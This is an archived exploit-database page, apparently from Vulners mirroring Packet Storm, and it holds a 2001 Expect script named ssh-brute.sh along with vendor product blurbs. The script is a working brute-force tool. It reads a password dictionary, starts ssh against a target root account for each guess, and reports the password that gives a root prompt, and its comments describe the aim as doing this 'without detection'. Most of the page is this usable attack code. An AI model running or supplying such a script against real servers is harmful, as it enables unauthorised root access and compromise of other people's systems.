Lucene search
K

ssh-brute.sh

🗓️ 09 Mar 2001 00:00:00Reported by crimelabs.netType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 19 Views

Brute force script to crack SSH root password using a custom dictionary for exploitation.

Code
`#!/usr/bin/expect -f  
#  
# simple expect exploit to brute force root's password via ssh without  
# detection.. see CLABS200101 for info on this exploit.  
#  
# this is beerware, just buy me a beer at defcon if you like this.  
# build your own dictionary, use at your own risk, no warranty, etc.  
#  
# [email protected] january, 2001  
#  
set timeout 3  
set target [lindex $argv 0]  
set dictionary [lindex $argv 1]  
  
if {[llength $argv] != 2} {  
puts stderr "Usage: $argv0 root@target dictionary\n"  
exit }  
  
set tryPass [open $dictionary r]  
  
foreach passwd [split [read $tryPass] "\n"] {  
spawn ssh $target  
expect ":"  
send "$passwd\n"  
expect "#" { puts "password is $passwd\n" ; exit }  
set id [exp_pid]  
exec kill -INT $id  
}  
# www.hack.co.za [2 March 2001]`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation